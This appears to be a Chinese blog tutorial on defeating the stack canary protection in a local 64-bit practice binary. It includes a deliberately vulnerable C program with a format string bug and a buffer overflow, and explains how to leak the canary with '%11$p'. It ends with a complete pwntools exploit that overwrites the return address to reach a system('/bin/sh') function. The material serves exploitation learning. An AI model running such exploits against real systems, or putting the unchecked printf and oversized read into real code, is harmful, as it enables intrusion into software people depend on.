今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。
目录
基础
实例讲解
基础
首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary
我可能讲的不是很好,大家可以看看这些 文章
用通俗一点将就是一个矿工带来一只老鼠进去矿洞,这里可以理解为fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈,然后再采矿的结束的时候,老鼠检测到有瓦斯很多,然后他们都没了,这里可以理解为最后值变了,不是我们存进去的值不一样了,就会提前停止,就是为了防止溢出,但是反过来最后检测一样的话,就可以了。
所以我们最终的目的都是为了获得canary的真实地址,就可以溢出了。
实例讲解
首先在上面我就说了,我使用的是格式化字符串漏洞获得的字符串,这里大家可以先了解了解什么是格式化字符串漏洞
下面是实例代码
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
//这里编译一下然后加上canary保护
gcc -z execstack -no-pie -z norelro -fstack-protector-all 03.c -o 3
没错64位,只开启了canary保护。
这里使用ida看看,exploit函数这里我们看到了shell,是一个重点。
因为main是直接进入func方法,这里就直接看看func方法,这里有一个很重要的东西,这里设置buf变量的值,是占用40个字节,就是0x28,这个位置成员变量到canary的长度,但是还是有一个偏移量的,这里我们可以通过格式化字符串漏洞知道,然后read那里大家都应该知道了是存在溢出的。
我们执行我们编译好的,然后输入下面这一串,那里一群4141代表的就是AAAAAA,这里数一数他是第几个,嗯,第六个,那么偏移就是6,加上上面成员变量的40个字节,因为64位8个字节代表一位,这里40个字节就是5位,那么11位就是canary的真实地址了。
而且通常canary最后两位都是00,嗯,应该就是这个了。
所以我们写payload的思路就是
首先填充满成员变量就是40个字节=0x28,然后就是canary的真实地址绕过检测,最后填入0x8个值填满ebp,最后我们就是随意return了。
from pwn import *
p = process("./3")
#输入%11$p查看canary的真实地址
p.sendline("%11$p")
#获取返回值,且没有\n
canary = p.recvline(keepends=False)
#对canary进行处理,从bytes变成10进制
canary = int(canary.decode(),16)
print(canary)
off = 0x28
# 先传入40个值填满成员变量,然后输入正确的canary,在填满rbp
# 然后定义到return的位置,最后return到shell中就可以了
payload = b'a'*off + p64(canary) +b"a"*0x8+p64(0x0000000000401251) +p64(0x0000000000401196)
#print(payload)
p.sendline(payload)
p.interactive()